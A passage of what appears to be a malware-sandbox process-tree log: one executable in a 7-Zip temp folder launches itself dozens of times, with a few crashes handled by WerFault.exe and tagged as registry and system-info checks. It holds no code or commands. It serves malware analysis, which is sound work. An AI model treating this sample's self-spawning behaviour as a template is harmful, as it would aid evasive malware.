                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                      6⤵
                                                                        PID:3264
                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                        6⤵
                                                                          PID:2928
                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                          6⤵
                                                                            PID:5372
                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                            6⤵
                                                                              PID:4268
                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                              6⤵
                                                                                PID:5368
                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                6⤵
                                                                                  PID:5208
                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                  6⤵
                                                                                    PID:3316
                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                    6⤵
                                                                                      PID:2792
                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                      6⤵
                                                                                        PID:800
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                        6⤵
                                                                                          PID:2984
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                          6⤵
                                                                                            PID:5400
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                            6⤵
                                                                                              PID:4528
                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                              6⤵
                                                                                                PID:3952
                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                6⤵
                                                                                                  PID:5140
                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                  6⤵
                                                                                                    PID:4344
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4344 -s 28
                                                                                                      7⤵
                                                                                                      • Program crash
                                                                                                      • Checks processor information in registry
                                                                                                      • Enumerates system info in registry
                                                                                                      PID:4948
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                    6⤵
                                                                                                      PID:1208
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                      6⤵
                                                                                                        PID:3948
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                        6⤵
                                                                                                          PID:2548
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                          6⤵
                                                                                                            PID:5564
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                            6⤵
                                                                                                              PID:444
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                              6⤵
                                                                                                                PID:5656
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                6⤵
                                                                                                                  PID:5880
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                  6⤵
                                                                                                                    PID:4872
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                    6⤵
                                                                                                                      PID:5920
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                      6⤵
                                                                                                                        PID:1428
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                        6⤵
                                                                                                                          PID:4520
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                          6⤵
                                                                                                                            PID:4072
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                            6⤵
                                                                                                                              PID:5572
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                              6⤵
                                                                                                                                PID:2216
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                6⤵
                                                                                                                                  PID:4832
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                  6⤵
                                                                                                                                    PID:3780
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                    6⤵
                                                                                                                                      PID:5888
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                      6⤵
                                                                                                                                        PID:2860
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                        6⤵
                                                                                                                                          PID:3528
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                          6⤵
                                                                                                                                            PID:5008
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                            6⤵
                                                                                                                                              PID:4948
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                              6⤵
                                                                                                                                                PID:1360
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                6⤵
                                                                                                                                                  PID:5776
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                  6⤵
                                                                                                                                                    PID:4228
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                    6⤵
                                                                                                                                                      PID:5048
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                      6⤵
                                                                                                                                                        PID:4116
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                        6⤵
                                                                                                                                                          PID:4304
                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 28
                                                                                                                                                            7⤵
                                                                                                                                                            • Program crash
                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                            PID:2528
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                          6⤵
                                                                                                                                                            PID:5160
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                            6⤵
                                                                                                                                                              PID:5676
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                              6⤵
                                                                                                                                                                PID:1464
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                6⤵
                                                                                                                                                                  PID:1912
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                  6⤵
                                                                                                                                                                    PID:1000
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                    6⤵
                                                                                                                                                                      PID:2128
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                      6⤵
                                                                                                                                                                        PID:1940
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                        6⤵
                                                                                                                                                                          PID:5024
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                          6⤵
                                                                                                                                                                            PID:3196
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:2016
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:4240
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:5228
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5228 -s 28
                                                                                                                                                                                    7⤵
                                                                                                                                                                                    • Program crash
                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                                    PID:2852
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:5664
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:5960
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                      6⤵
                                                                                                                                                                                        PID:2268
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:2380
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                          6⤵
                                                                                                                                                                                            PID:5732
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                            6⤵
                                                                                                                                                                                              PID:2528
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                              6⤵
                                                                                                                                                                                                PID:3624
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                6⤵
                                                                                                                                                                                                  PID:3628
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                    PID:1336
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                      PID:1352
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                        PID:1544
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                          PID:3448
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                            PID:4812
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                              PID:5636
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:6120
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                  PID:4064
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                    PID:2852
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                      PID:3504
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                        PID:504
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                          PID:4104
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                            PID:5444
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                              PID:5332
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                PID:5520
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                  PID:5952
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                    PID:1596
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                      PID:6028
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                        PID:5632
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                          PID:5432
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                            PID:3260
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                              PID:480
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                PID:5184
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5184 -s 28
                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                  • Enumerates system info in registry
                                                                                                                                                                                                                                                  PID:5548
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                  PID:1944
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                    PID:4216
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                      PID:5592
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                        PID:3844
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                          PID:916
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                            PID:2464
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
